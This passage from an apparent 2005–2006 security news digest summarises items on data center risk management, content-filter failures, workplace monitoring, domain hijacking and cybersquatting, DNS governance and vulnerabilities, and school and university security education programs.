Different frequency bands are used for different things for good reasons, and there are good reasons that a single frequency band for emergency response would be a bad thing. Perhaps we should put Rudy in charge of FEMA and see if things get better or worse… after all, the last political appointee there with no expertise in emergency management worked out so well…

[By Fred Cohen]

Category 33.4 Risk analysis & management

2006-03-21 **business data center lack risk management plan study**

DHS IAIP Daily; http://www.securitypipeline.com/news/183701727

MANY DATA CENTERS STILL HAVE NO RISK MANAGEMENT PLAN.

Business technology managers are facing tough challenges as data centers grow larger and more complex. More than 75 percent of all companies have experienced a business disruption in the past five years, including 20 percent who say the disruption had a serious impact on the business, according to a recent survey of data center managers. Despite the critical nature of data center operations to business, nearly 17 percent reported they have no risk management plan, and less than 5 percent have plans that address viruses and security breaches. The results, which were announced Tuesday, March 21, at the Data Center World conference in Atlanta, are part of survey of nearly 200 members of AFCOM, a leading association for data center managers. Some of the predictions: Within the next five years, one out of every four data centers will experience a serious disruption; by 2015, the talent pool of qualified senior-level technical and management data center professionals will shrink by 45 percent; and over the next five years, power failures and limits on power availability will halt data center operations at more than 90 percent of companies.

34.1 Net filters

Category 34.1 *Net filters*

2006-05-30 **spam filter censorship obscenity algorithm words blocking denial-of-service availability e-mail**

RISKS 24 30

COMPUTER C*CK-UP FINDS E-R-E-C-T-I-O-N HARD TO HANDLE

Yet another example of the perils of simple-minded content filtering:

>Two e-mail messages objecting to a home extension failed to reach a council planning department because their computer system blocked the word "e-r-e-c-t-i-o-n". Commercial lawyer Ray Kennedy, from Middleton, Greater Manchester, claims he sent three e-mails to Rochdale council complaining about his neighbour's plans. But the first two messages failed to reach the planning department because the software on the town hall's computer system deemed them offensive. When his third e-mail, containing the same word, somehow squeezed through, it was too late. A planning officer told Mr Kennedy that his next-door neighbour's proposals had already been given the go ahead.<

[Abstract by Nick Rothwill edited by Peter G. Neumann to reduce likelihood of blocking of the entire issue of RISKS]

[MK adds: another issue is that naïve users are increasingly unware that the technical specifications for e-mail do not include guaranteed delivery. If delivery matters to you, CHECK FOR IT. Why didn't Mr Kennedy write a letter if the issue was so important to him?]

34.2 Usage monitoring, audit trails (employees, children)

Category 34.2 *Usage monitoring, audit trails (employees, children)*

2005-01-25 **privacy remote keylogger monitoring surveillance workplace forensic evidence data archives pornography appropriate use**

NewsScan; http://news.bbc.co.uk/1/hi/technology/4188747.stm

SOFTWARE WATCHES WHILE YOU WORK

Security firm 3ami and storage specialist BridgeHead Software have teamed up to create a network security system that can log computer keystroke activity, store it and retrieve the files within minutes. The developers say the system represents a breakthrough in the way data is monitored and stored, but privacy advocates worry that such monitoring not only is overly intrusive but can be damaging to employees' morale. However, 3ami managing director Tim Ellsmore counters: "That is not the case. It is not about replacing dialogue but there are issues that you can talk through but you still need proof. People need to recognize that you are using a PC as a representative of a company and that employers have a legal requirement to store data." The software was developed in response to the Freedom of Information Act's requirement for companies to store all data for a specified period of time, and is designed to monitor the downloading of pornography, the use of inappropriate language and the copying of applications for personal use. It also potentially could enable employers to track stolen files and identify whether they'd been e-mailed to a third party, copied, printed, deleted or saved to a CD, floppy disk, memory stick or flash card. (BBC News 25 Jan 2005)

Category 34.2 *Usage monitoring, audit trails (employees, children)*

2005-08-09 **computer tampering policy violation student punishment school lawsuit litigation Pennsylvania**

EDUPAGE; http://www.wired.com/news/technology/0,1282,68480,00.html8/

STUDENTS FACE PUNISHMENT FOR COMPUTER TAMPERING

Thirteen high school students in the Kutztown Area School District in Pennsylvania face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. The laptops included Internet filters and an application that allowed district administrators to see what students did with the computers. The 13 used administrator passwords--which, for unknown reasons, were taped to the backs of the computers--to override the filters and download software such as iChat that the district policy forbids. The students also modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police. Wired News, 9 August 2005

35.1 Cybersquatting

Category 35.1 Cybersquatting

2005-01-17 **denial of service DoS domain name system DNS hijacking fraud data integrity authorization**

RISKS; http://www.panix.net/hijack-faq.html 23 69

DON'T PANIX

The DNS entry for the Panix ISP was hijacked in January 2005. Cyrus R. Eyster reported to RISKS on the case and quoted the Panix Website:

Panix's main domain name, panix.com, was hijacked by parties unknown. The registration of the panix.com domain was moved to a company in Australia, the actual DNS records were moved to a company seemingly in the United Kingdom (but with servers in Canada and corporate registration in Delaware), and panix.com's mail was redirected to servers in Canada. None of the systems exploited to perform this hijacking were under Panix's control.

It's not supposed to be possible to transfer a domain name from one registrar to another without notifying both the current registrar and the current domain owner, but that's what seems to have happened.

As the hijacking occurred over the weekend, we had great trouble reaching responsible parties at the other companies involved. The domain was not returned to us until the beginning of the business day in Australia on Monday. None of the companies involved had support numbers that were available over the weekend, or even emergency contact numbers.

Category 35.1 Cybersquatting

2005-07-08 **Google Website domain misspelling typo cybersquatting case victory**

EDUPAGE;
http://today.reuters.com/business/newsArticle.aspx?storyID=nN78398318

GOOGLE WINS TYPOSQUATTING CASE

Google has the rights to several misspellings of its domain name, according to a decision by the National Arbitration Forum (NAF). Google had filed a complaint against Sergey Gridasov, a Russian man who had registered domain names of googkle.com, ghoogle.com, gfoogle.com and gooigle.com, saying that he was profiting from Google's name with the domains, which are common mistypings of google.com. Gridasov reportedly used the domains to redirect Web surfers to sites that would download various kinds of malware to their computers. Because Gridasov did not respond to the complaint, the NAF was compelled to accept the allegations in Google's complaint. According to the NAF, Gridasov is not entitled to use the domains, which are confusingly similar to Google's.
Reuters, 8 July 2005

Category 35.1 Cybersquatting

2005-07-18 **cyber squatting lawsuits BDC Capital Inc.**

EDUPAGE; http://www.detnews.com/2005/technology/0507/18/0tech-250797.htm

UNIVERSITY CHARGES CYBERSQUATTING

A Minnesota-based company has raised the ire of a number of colleges and universities after registering more than 23,000 URLs, many of which imply a connection to the schools that does not exist. BDC Capital Inc. has registered such URLs as www.universityofmichiganwolverines.com,
which is not affiliated with the University of Michigan at all, and www.uofmgophers.com, which has no connection with the University of Minnesota. Marvin Krislov, general counsel at the University of Michigan, which has sent the company a cease-and-desist order, called the URLs a "pretty clear violation of trademark," noting that reasonable people would likely assume a connection between the site and the institution. A spokesperson from BDC said the company does not believe it has violated any trademarks. He said the company believes that the URLs "represent a significant asset to both BDC and the schools," saying that BDC anticipates a "partnership" with the schools to sell souvenirs and other items. Detroit News, 18 July 2005

35.3 Politics & management of the DNS

Category 35.3 Politics & management of the DNS

2004-12-13 **ICANN .mobi .jobs domains**

NewsScan; http://www.washingtonpost.com/wp-dyn/articles/A61424-2004Dec13.html

ICANN GIVES THE NOD TO TWO MORE DOMAINS

ICANN, the Internet's oversight agency, has given preliminary approval for two additional domain names -- ".mobi," which would delineate Web sites and other services specifically geared toward cell phones, and ".jobs," which would target the human resources community. In October, ICANN gave preliminary approval to ".post" for postal services and ".travel" for the travel industry. ICANN will now begin negotiations with the applicants of all four suffixes on creating and running the domains. There are currently about 250 domain names, mostly for specific countries, such as ".ch" for Switzerland. (AP/Washington Post 13 Dec 2004)

Category 35.3 Politics & management of the DNS

2005-02-22 **domains UN ICANN ITU World Summit global control Web developing countries international**

NewsScan; http://australianit.news.com.au/articles/0

U.N. PANEL HOPES TO END WEB WAR

A U.N.-sponsored panel aims to settle a long-running tug of war for control of the Internet at a Tunis meeting this November at the World Summit on the Information Society, where global control of the World World Wide Web may be decided. At present, the most recognizable Internet governance body is the U.S.-based non-profit corporation called the Internet Corporation for Assigned Names and Numbers (ICANN), but developing countries want an international body such as the UN's International Telecommunication Union (ITU) to have control over governance over Internet issues -- ranging from distributing Web site domains to fighting spam. (The Australian 22 Feb 2005)

Category 35.3 Politics & management of the DNS

2005-05-09 **Google denial of service DoS Website blackout Internet infrastructure Domain Name System DNS stability**

DHS IAIP Daily; http://www.newscientist.com/article.ns?id=dn7357

GOOGLE BLACKOUT LINKED TO INTERNET INFRASTRUCTURE

A brief blackout at Internet search giant Google has drawn attention to the addressing system that underpins the Web. The Google search page disappeared from view for about 15 minutes late Saturday night, May 7. Some users reported being redirected to an alternative search service called SoGoSearch, but Google has strongly dismissed suggestions that its servers were compromised in any way. Google spokesperson David Krane told the Associated Press that the problem was related to the Domain Name System (DNS), which maps Web names to the numerical Internet Protocol (IP) addresses used by computers. There are thousands of individual DNS servers dotted around the Internet that report back to 13 "root" servers holding master records for DNS mapping. It remains unclear whether the outage at Google was the result of a malfunction in one particular server or the wider system. The outage has drawn attention to widespread reliance of many Web users and services on Google and highlights existing concerns over the stability of DNS infrastructure. In March 2005, the National Academies National Research Council issued a report criticizing the current state of DNS infrastructure. National Academies' Report: http://www7.nationalacademies.org/cstb/pub_dns.html

---

Category 35.3 *Politics & management of the DNS*

2005-06-30 **domain naming system DNS ICANN control US retention United Nations poor countries equal participation**

EDUPAGE; http://news.zdnet.com/2100-9588_22-5770937.html

U.S. WILL KEEP CONTROL OF INTERNET ROOT

Despite previous statements from U.S. officials that the country would cede its control over the Internet to the Internet Corporation for Assigned Names and Numbers, a set of principles outlined this week by the Bush administration states that no such transfer of control will take place. The United States maintains control of the "root" system that determines which domains will function, including not just generic domains such as .com and .org but also country-specific domains. The principles, which were announced unexpectedly at a conference in Washington, D.C., are seen by many as a snub of the world community in general and of certain of its critics in particular. Pakistan and Brazil, for example, have long complained that the United States has too much control over the Internet and should give the world's poorer countries the opportunity to be equal participants. ZDNet, 30 June 2005

Category 35.3 *Politics & management of the DNS*

2005-07-18 **Internet control report recommendations United Nations US**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4692743.stm

UN REPORTS ON CONTROL OF INTERNET

A working group created by the United Nations (UN) to draft a recommendation about the future oversight of the Internet has come up with four options. The Working Group on Internet Governance (WGIG) was created in 2003 following the failure of the UN's World Summit on the Information Society (WSIS) to agree on an Internet governance structure. Three of the WGIG's proposals would take control of the Internet away from the Internet Corporation for Assigned Names and Numbers (ICANN), which is currently run by the United States. Many developing nations have complained that final oversight of the Internet should not rest with U.S. officials. The fourth option would leave control with ICANN but create a forum for debate on Internet issues that face all countries. The four options will be presented to the 2005 WSIS meeting in November, where delegates will choose one. Earlier this month, the United States stated that it would not relinquish control of ICANN or the Internet. BBC, 18 July 2005

Category 35.3 *Politics & management of the DNS*

2005-09-29 **US control Internet Web politics United Nations UN rejection**

DHS IAIP Daily; http://www.washingtonpost.com/wp−dyn/content/article/2005/09 /29/AR2005092900478.html

U.S. INSISTS ON KEEPING CONTROL OF WEB

The U.S. is rejecting offers from the UN to take control over the main computers that direct traffic on the Internet. Ambassador David Gross, the U.S. coordinator for international communications and information policy at the State Department said, "We will not agree to the UN taking over the management of the Internet. "Some countries want that. We think that's unacceptable." Some countries have been upset that the United States and European countries secured a multitude of available Internet addresses, thus leaving developing nations with a limited supply to share.

Category 35.3 *Politics & management of the DNS*

2005-11-04 **government accounting office GAO report Internet Management Prevalence of False Contact Information for Registered Domain Names**

DHS IAIP Daily; http://www.gao.gov/new.items/d06165.pdf

INTERNET MANAGEMENT: PREVALENCE OF FALSE CONTACT INFORMATION FOR REGISTERED DOMAIN NAMES (REPORT)

Individuals or organizations seeking to register the names of their Websites may provide inaccurate contact information to registrars in order to hide their identities or to prevent members of the public from contacting them. Contact information is made publicly available on the Internet through a service known as Whois. Data accuracy in the Whois service can help law enforcement officials to investigate intellectual property misuse and online fraud, or identify the source of spam e-mail, and can help Internet operators to resolve technical network issues. The Government Accountability Office was asked, among other things, to (1) determine the prevalence of patently false or incomplete contact data in the Whois service for the .com, .org, and .net domains; (2) determine the extent to which patently false data are corrected within one month of being reported to the Internet Corporation for Assigned Names and Numbers (ICANN); and (3) describe steps the Department of Commerce and ICANN have taken to ensure the accuracy of contact data in the Whois database. Highlights: http://www.gao.gov/highlights/d06165high.pdf

---

Category 35.3 *Politics & management of the DNS*

2005-11-14 **Internet Web DNS control United Nations conference US ICANN politics**

EDUPAGE; http://www.nytimes.com/2005/11/14/business/14register.html

UN MEETING TO ADDRESS CONTROL OF INTERNET

The United Nations (UN) is hosting an international conference this week in Tunisia to address concerns about U.S. control of the Internet. The Internet Corporation for Assigned Names and Numbers (ICANN) was set up in 1998 to oversee the Domain Name System, which reconciles Web addresses and directs Internet traffic to proper destinations. Despite an understanding that ICANN would become independent of any national ties, the Bush administration this year rejected such a move, and the organization still operates under the authority of the U.S. Department of Commerce. This situation has left many other countries complaining that the United States holds the power over a global resource, and nine different proposals for putting ICANN under the guidance of an international body will be addressed at the meeting in Tunisia, which will host as many as 15,000 delegates. Some individuals who were part of the work that led to the Internet have said that concerns over ICANN are misguided. Leonard Kleinrock, computer scientist at UCLA, said, "Everyone seems to think that the D.N.S. system is a big deal, but it's not the heartbeat of the Internet." Robert Kahn, one of the developers behind TCP/IP, said of ICANN, "There is nothing in there to control, and there are huge issues that the governments of the world really do need to work on." New York Times, 14 November 2005 (registration req'd)

Category 35.3 *Politics & management of the DNS*

2005-11-16 **Internet Web DNS control United Nations conference US ICANN politics**

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/13180104.htm

U.S. TO KEEP CONTROL OF ICANN

Delegates at an international meeting in Tunisia have agreed to allow oversight of the Internet's Domain Name System (DNS) to remain with the United States. Leading up to the World Summit on the Information Society, a number of nations had put forth proposals that would have required the United States to cede DNS control to an international body. Instead, agreement was reached to leave DNS management with the Internet Corporation for Assigned Names and Numbers (ICANN) and create an international forum to address concerns, though the forum will not have binding authority. The Internet Governance Forum is to begin meeting next year and will address issues both within the purview of ICANN, such as the addition of domains in languages other than English, and outside ICANN's authority, such as spam and cybercrime. San Jose Mercury News, 16 November 2005

Category 35.3 Politics & management of the DNS

2005-11-29 **dot com management lawsuit DNS management politics ICANN Verisign**

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4482292.stm

INTERNATIONAL GROUP SUES OVER .COM MANAGEMENT

The World Association of Domain Name Developers has filed a lawsuit in a California court against the Internet Corporation for Assigned Names and Numbers (ICANN) and VeriSign over a deal recently reached between the two organizations. After resolving a dispute over VeriSign's Site Finder service, which directed users who mistyped URLs to VeriSign's Web site, ICANN agreed to an extension of the contract that allows VeriSign to manage the .com and .net domains. Although the extension runs from 2007 to 2012, the lawsuit filed by the developers association contends that the contract "provides for the automatic renewal of the agreement and thereby precludes competitors from ever entering the .com and .net domain name registration market," thereby establishing a monopoly for the domains. The only means for another company to bid on the work, according to the suit, is if VeriSign goes out of business or fails to meet the terms of the contract. A statement from ICANN said the lawsuit is intended to divert attention away from an ICANN meeting currently being held in Vancouver. BBC, 29 November 2005

Category 35.3 Politics & management of the DNS

2005-12-07 **EU Internet domain business DNS politics**

EDUPAGE; http://online.wsj.com/article/SB113391801658415733.html

EU DOMAIN OPENS FOR BUSINESS

A new domain has been launched that supporters believe will help create a sense of identity and strength among the nations of the European Union (EU). The .eu domain is initially open to organizations that hold trademarks or have offices in any of the 25 nations in the EU. The domain will later be opened to other groups and eventually to individuals. More than 400 registrars have been approved to handle applications for the domain. Jean Pire, a senior partner in a Belgian intellectual property law firm, said he expects the .eu domain to grow to be second only to .com in the number of Web sites that use it. Currently, .com is the domain for more than half of the world's Web sites; Pire predicts .eu eventually to represent about 25 percent of Web sites. The .eu extension will not replace existing country-specific extensions, such as .de for Germany and . Fr for France. Wall Street Journal, 7 December 2005 (sub. req'd)

Category 35.3 Politics & management of the DNS

2006-03-01 **China Internet split domain .cn .com .net Chinese politics freedom of information domain name system DNS**

DHS IAIP Daily; http://news.zdnet.com/2100−9588_22−6044629.html

CHINA CREATES OWN INTERNET DOMAINS.

China has created three of its own top-level domains that will use the domain names .cn, .com and .net, in Chinese. The domain names were launched Wednesday, March 1, by the Chinese Ministry of Information Industry. The creation of Chinese character domain names has led to speculation that China could break away from the Internet Corporation for Assigned Names and Numbers completely, and undermine the global unity of the Domain Name System, the network of servers that resolves domain name requests. Internet experts are concerned that this move will see China administrating its top-level domains with its own separate root servers, which could cause a split in the Internet.

Category 35.3 Politics & management of the DNS

2006-03-28 **DNS servers Network Solutions Inc denial-of-service DoS attack**

DHS IAIP Daily;
http://www.computerworld.com/developmenttopics/websitemgmt/s
tory/0,10801,109972,00.html

TWO DNS SERVERS HIT BY DENIAL-OF-SERVICE ATTACKS.

In the second attack of its kind in the past few days, Domain Name System servers at Network Solutions Inc. were hit by a denial-of-service attack Tuesday afternoon, March 28, resulting in a brief performance degradation for customers, according to the company. The attacks, which started at around 2:20 p.m. EST, were targeted at the company's WorldNIC name servers and resulted in a service degradation for about 25 minutes before the server was restored to normal, a spokesperson for the company said. Over the weekend, Joker.com, a domain-name registrar in Germany, was hit with a similar distributed denial-of-service attack that disrupted service to customers.

Category 35.3 Politics & management of the DNS

2006-04-11 **DNS cache poisoning report study new attacks defense**

DHS IAIP Daily; http://www.lurhq.com/cachepoisoning.html

REPORT: DNS CACHE POISONING -- THE NEXT GENERATION.

The old problem of DNS cache poisoning has again reared its ugly head. While some would argue that the domain name system protocol is inherently vulnerable to this style of attack due to the weakness of 16-bit transaction IDs, the immediate threat cannot be ignored while waiting for something better to come along. There are new attacks, which make DNS cache poisoning trivial to execute against a large number of name servers running today. The LURHQ Threat Intelligence Group has released the report, "DNS Cache Poisoning -- The Next Generation," in order to shed light on these new attacks and recommend ways to defend against them. Refer to the source for the full report.

Category 35.3 Politics & management of the DNS

2006-04-11 **domain name registry DNS Europe hacked**

DHS IAIP Daily;
http://www.infoworld.com/article/06/04/11/77325_HNregistryhi jacked_1.html

EUROPE'S DOMAIN REGISTRY HIJACKED.

The registry for the new .eu domain has grown to 1.4 million Web addresses since Friday morning, April 7 -- but one registrar has accused the group that runs it of inept organization, allowing companies to cheat the system by setting up bogus registrars to work on their behalf. Eurid vzw, which runs the registry, required registrars to apply for accreditation before the "landrush" phase of registrations began. Bob Parsons, chief executive officer of domain name registrar GoDaddy.com Inc., claims that some companies spotted a loophole in the system: by creating additional registrars and applying for accreditation for them, they were able to multiply their chances of successfully making registrations.

Category 35.3 Politics & management of the DNS

2006-04-24 **DNS message decompression remote denial-of-service DoS vulnerability solution update**

DHS IAIP Daily; http://www.securityfocus.com/bid/13729/discuss

MULTIPLE VENDOR DNS MESSAGE DECOMPRESSION REMOTE DENIAL-OF-SERVICE VULNERABILITY.

Multiple DNS vendors are susceptible to a remote denial-of-service vulnerability. This issue affects both DNS servers and clients. Analysis: Under certain circumstances, it is possible to cause both DNS servers and DNS clients to terminate abnormally by sending it malformed messages. The text portions of DNS messages are specified by first giving the character count, followed by the characters themselves. For example to specify 'test.test.com', the message would look like '0x04test0x04test0x03com0x00' using 16-bit numbers. From RFC1035, Section 4.1.4, "Message Compression" specifies a way to create smaller messages so that they can easily fit into a DNS UDP packet. Hence if the top two bits of the label length byte are one, the remaining 14 bits specify an offset from the beginning of the text on where the remaining characters can be found. This way, redundant information can be removed and hence create a smaller message. For a complete list of vulnerable products: http://www.securityfocus.com/bid/13729/info The following versions are not affected by this issue; users are advised to upgrade: DeleGate 8.10.3 and subsequent versions; dnrd 2.18 and subsequent versions; PowerDNS 2.9.17. Solution: Cisco has released advisory cisco-sn-20050524-dns to address this issue. For further information: http://www.securityfocus.com/bid/13729/references

---

Category 35.3 Politics & management of the DNS

2006-05-02 **vulnerability issues Domain Name System DNS implementation**

DHS IAIP Daily; http://www.securiteam.com/securitynews/5IP020KIKU.html

VULNERABILITY ISSUES IN IMPLEMENTATIONS OF THE DOMAIN NAME SYSTEM PROTOCOL.

The vulnerabilities described in this advisory affect implementations of the Domain Name System protocol. Many vendors include support for this protocol in their products and may be impacted to varying degrees, if at all. Analysis: If exploited, these vulnerabilities could cause a variety of outcomes including, for example, a denial-of-service condition. In most cases, they can expose memory corruption, stack corruption or other types of fatal error conditions. Some of these conditions may expose the protocol to typical buffer overflow exploits, allowing arbitrary code to execute or the system to be modified. The following vendors have provided information about how their products are affected by this vulnerability: Cisco Systems, Inc MyDNS; Delegate pdnsd; Ethereal Sun; Hitachi Wind River; ISC; Juniper Networks; Microsoft. Refer to source advisory for further detail on vendor vulnerabilities.

37.1 Elementary & middle school programs

Category 37.1 *Elementary & middle school programs*

2005-06-08 **UK Britain charity children downloading habits parent education effort pamphlet**

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4072566.stm

EDUCATING PARENTS ABOUT KIDS' DOWNLOADING HABITS

A British charity focused on children's issues on the Web has launched a campaign designed to educate parents about the downloading habits of their kids. According to Childnet, as many as 90 percent of parents do not understand how music can be downloaded from the Internet. The charity is producing leaflets in 8 languages for distribution in 19 countries to try to address and correct this gap of understanding between parents and children. Representatives of the entertainment industry applauded the initiative. Peter Jamieson, chairman of the British Phonographic Industry, said, "We are committed to working with parents to make them aware of the dangers of illegal downloading." Dennis Henderson of Virgin Megastores noted that spreading the word about legal download services is as important as fostering an awareness of illegal file sharing. BBC, 8 June 2005

37.2 High school programs

Category 37.2 *High school programs*

2005-03-21 **high school K-12 fight stop hacker hacking school network denial of service DoS attack report education**

DHS IAIP Daily; http://www.nwfusion.com/news/2005/032105−hacker−kids.html

K-12 SCHOOLS FIGHT TO STOP STUDENT HACKERS

When today's K-12 students act up, they increasingly are going high-tech by using the school's network to launch denial-of-service attacks, sending harassing e-mails or breaking into databases to try to change their records. With public schools now widely equipped with LANs and high-speed Internet access, IT administrators have to cope with many cyber incidents. Some infractions, such as attempts to get to pornography sites, might force administrators to temporarily yank a child's network access as punishment. But some types of incidents, such as hacking and e-mail threats, even end up with students being booted out of school or in trouble with the law. Philip Scrivano, management analyst at Fiscal Crisis & Management Assistance Team (FCMAT), agrees. Scrivano says that in his role as adviser, he's seen students expelled for installing a keylogger on the teacher's PC and changing grades or breaking into a server. Some troublemakers are spending inordinate amounts of time planning break-ins - sometimes 50 to 100 hours for one attack. The hard part is making teenagers understand that what they're doing is a crime. Department of Education's "Internet Access in U.S. Public Schools and Classrooms: 1994-2003" report: http://nces.ed.gov/pubsearch/pubsinfo.asp?pubid=2005015

Category 37.2 *High school programs*

2005-04-08 **ethical hacking teaching education security awareness University of La Salle Barcelona Spain ISECOM**

EDUPAGE; http://news.bbc.co.uk/2/hi/programmes/click_online/4423351.stm

PROGRAM TEACHES HACKING TO RAISE AWARENESS

The University of La Salle in Barcelona has begun a program to raise awareness of computer hacking and to teach teens how to protect themselves. Sponsored by the Institute for Security and Open Methodologies (ISECOM), the Hacker High School invites students from local high schools to the La Salle campus to expose them to the ins and outs of hacking. Pete Herzog, managing director of ISECOM, said the program shows participants how computer hacking is accomplished so that they can understand the concepts behind what computers do, how to clean them, how applications can compromise computers, and the implications for personal privacy. According to one official from the program, the goal is to provide experiences for students to learn how hacking happens so that they will become "ethical hackers, good hackers, knowing what they do and what the limits are." School officials believe having skills as an ethical hacker could be beneficial when students go looking for jobs later. BBC, 8 April 2005

Category 37.2 *High school programs*

2006-03-11 **high school program computer security education program Rome New York Syracuse University**

EDUPAGE; http://www.wired.com/news/wireservice/0,70396-0.html

PROGRAM TEACHES HIGH SCHOOLERS ABOUT COMPUTER SECURITY

High school students at a Catholic school in Rome, New York, are the first to participate in a computer-security course developed by the school, the U.S. Air Force's Research Lab in Rome, and Syracuse University. The 20-week course, which covers topics including data protection, network protocols and vulnerabilities, firewalls, data hiding, and wireless security, is based on a 10-week course developed at the Research Lab. Kamal Jabbour, principal computer engineer at the lab, said the new course was designed in part to encourage students to pursue college degrees and careers in computer security. Eric Spina, dean of Syracuse's engineering and computer science programs, said the program is considerably different from the kind of computer course available in many high schools today. This course, he said, exposes high school students to material not seen by many college students until their junior year. "A high school student with this kind of background," said Spina, "would be an asset anywhere they went." Starting next year, the course will be available statewide and could be offered nationally by 2008.

Category 37.2 *High school programs*

2006-03-11 **security education cybersecurity school program Rome NY US Air Force Research Lab**

DHS IAIP Daily; http://www.wired.com/news/wireservice/0,70396−0.html?tw=rss. Index

HIGHSCHOOL STUDENTS LEARN ABOUT CYBERSECURITY VIA PILOT PROGRAM.

A group of students at Rome Catholic School in Rome, NY, are learning how to become the future defenders of cyberspace through a pilot program that officials say is the first of its kind in the country. The program teaches students about data protection, computer network protocols and vulnerabilities, security, firewalls and forensics, data hiding, and infrastructure and wireless security. Most importantly, officials said, teachers discuss ethical and legal considerations in cyber security. The pilot program was developed with help from computer experts at the U.S. Air Force's Research Lab in Rome, who four years ago created a 10-week Advanced Course in Engineering Cyber Security Boot Camp for the military's Reserve Officers Training Corps, said Kamal Jabbour, the lab's principal computer engineer. The material covered in the course is subject matter that college students typically don't receive until their junior year.

37.3 Undergraduate programs

Category 37.3 Undergraduate programs

2005-02-02 **college online education fraud Department Education diploma mills online fraud**

NewsScan; http://www.wired.com/news/culture/0

DATABASE DOCUMENTS DIPLOMA MILLS

The U.S. Department of Education has launched a searchable database that prospective online students may browse to determine whether a particular distance learning institution is accredited by organizations sanctioned by the government. The white-list enables students and prospective employers to distinguish between Hamilton College, a small, distinguished (and accredited) New York college, and Hamilton University, a diploma mill in Wyoming. And while Hamilton University is licensed by the state of Wyoming, using a degree from that school for employment in other states, such as Oregon or New Jersey, could lead to jail time for fraud. The database was created following calls for action from Congress last year, after some high-level government officials were discovered to have purchased questionable degrees to beef up their resumes. (Wired.com 2 Feb 2005)

Category 37.3 Undergraduate programs

2005-02-08 **University Calgary course spam spyware viruses malicious code ThreatLab grades prosecution**

EDUPAGE; http://software.silicon.com/security/0,39024655,39127703,00.htm

UNIVERSITY OF CALGARY OFFERS COURSE ON SPAM, SPYWARE

The University of Calgary, which gained attention in 2003 when it began offering a course on writing viruses, has now introduced a course devoted to writing spyware and spam. Although the virus-writing course prompted strong criticism, response to the new offering has been warmer. Some members of the computer-security community noted that such a course could give students a strong understanding of how to combat malicious computer code in practice. "If we're looking for an engineer to [fight] spam, then we'd rather have somebody who has already been taught about these things and who knows how they work," said Steve Purdham, CEO of SurfControl. Mark Murtagh of Websense echoed those comments. He compared computer security to a game of chess, saying, "You need to be completely up to date on what's available to ensure you understand your opponent's potential next move." Pete Simpson, ThreatLab manager at Clearswift, disagreed, however, saying that such arguments "really [fall] flat for spamming tools." He said the course will tempt students to put their skills to harmful use. Students who do so risk failing grades and prosecution, according to the university.

Category 37.3 Undergraduate programs

2005-02-16 **software vendor quality assurance blame college security education secure programming responsibility NSA DoD**

DHS IAIP Daily;
http://news.com.com/Software+firms+fault+colleges+security+e ducation/2100−
1002_3−5579014.html

SOFTWARE FIRMS FAULT COLLEGES' SECURITY EDUCATION.

In a panel session Tuesday, February 15, at the Secure Software Forum in San Francisco, Oracle, Microsoft and other software makers attempted to analyze why flawed software is still overwhelmingly the rule and not the exception in the industry. A major contributor, the companies said, is college students' lack of a good grounding in secure programming. Many software makers believe that better training of computer science graduates is a key step toward improving software quality, but some security researchers have criticized the industry, pointing out that industry demand for programmers generally does not give preference to those trained in secure programming. To influence curricula, private industry has established scholarships at universities. Also, several federal agencies, including the Department of Defense and the National Security Agency, have named several college programs as National Centers of Academic Excellence in a variety of security disciplines. However, some panel members laid the blame for the problems squarely at the feet of software makers. Until companies are willing to foot the bill for security, applications will not get better, said Fred Rica, a partner in PricewaterhouseCoopers' Threat and Vulnerability Assessment Services.

Category 37.3 *Undergraduate programs*

2006-04-18 **National Security Agency NSA Cyber Defense Exercise CDX US Naval Academy network security test**

DHS IAIP Daily; http://www.news.navy.mil/search/display.asp?story_id=23208

NATIONAL SECURITY AGENCY SPONSORS CYBER DEFENSE EXERCISE

The U.S. Naval Academy joined forces with fellow service academies in the sixth annual Cyber Defense Exercise (CDX) held Monday-Friday, April 10-14, at the Academy in Annapolis, MD. Sponsored by the National Security Agency, CDX brings Midshipmen and their peers together to create a computer network they must then defend against attack from hackers. The service academy that best defends its portion of the network from attack wins the competition. Results will be announced between late April and early May. The hackers in the exercise tested the security of the network, observed how long it took the students to become aware of the attacks, and assessed how they responded.

37.4 Master's programs

Category 37.4 Master's programs

2005-12-13 **online Internet higher education e-learning for-profit seven times music industry**

EDUPAGE; http://chronicle.com/daily/2005/12/2005121305n.htm

ONLINE EDUCATION BOOMING

Analysts speaking at a conference on the business of higher education this week argued that the market for online learning, though often downplayed relative to other topics, is thriving and represents the future of for-profit education. Online music, for example, receives a lot of hype in the media, according to one analyst, but the market for online education is seven times larger than that for online music. Douglas L. Becker, CEO of Laureate Education Inc., which operates a network of international universities, said that in many parts of the world the demand for higher education far outstrips the supply. Moreover, while for-profit colleges enroll less than 5 percent of all college students, more than a third of all students taking an online course are enrolled at a for-profit institution. The conditions are ripe for online education to lead to significant growth in for-profit colleges in the coming years, according to analysts. Chronicle of Higher Education, 13 December 2005 (sub. req'd)

Category 37.4 Master's programs

2006-04-17 **University of Pennsylvania graduate students NSF grant telephone wiretap quality research network security**

DHS IAIP Daily; http://www.gcn.com/online/vol1_no1/40428−1.html

UNIVERSITY OF PENNSYLVANIA STUDENTS RESEARCH WIRETAP VULNERABILITIES.

A team of graduate students from the University of Pennsylvania working with a National Science Foundation grant set out to determine just how trustworthy the most common types of telephone wiretaps used by police and intelligence agencies are, said Professor Matt Blaze. The results of these taps are accepted uncritically by courts, Blaze said at the 2006 International Conference on Network Security being held in Reston, VA. "It turns out, it can fail in all sorts of unexpected ways," he said. The techniques exploit vulnerabilities in the single signaling and audio channel used in analog telephone systems. Blaze said the project was an attempt to establish some baselines for network security by assessing how easy it is to conduct reliable eavesdropping on the century-old protocols used in analog voice phone systems.

37.7 Conferences

Category 37.7 Conferences

2005-03-17 **Cellular Telecommunications Internet Association CTIA Wireless 2005 homeland security cooperation**

DHS IAIP Daily; http://www.computerworld.com/securitytopics/security/recover y/story/0,10801,100458,00.html

CTIA: EXPERTS CALL FOR HOMELAND SECURITY, WIRELESS INDUSTRY COOPERATION

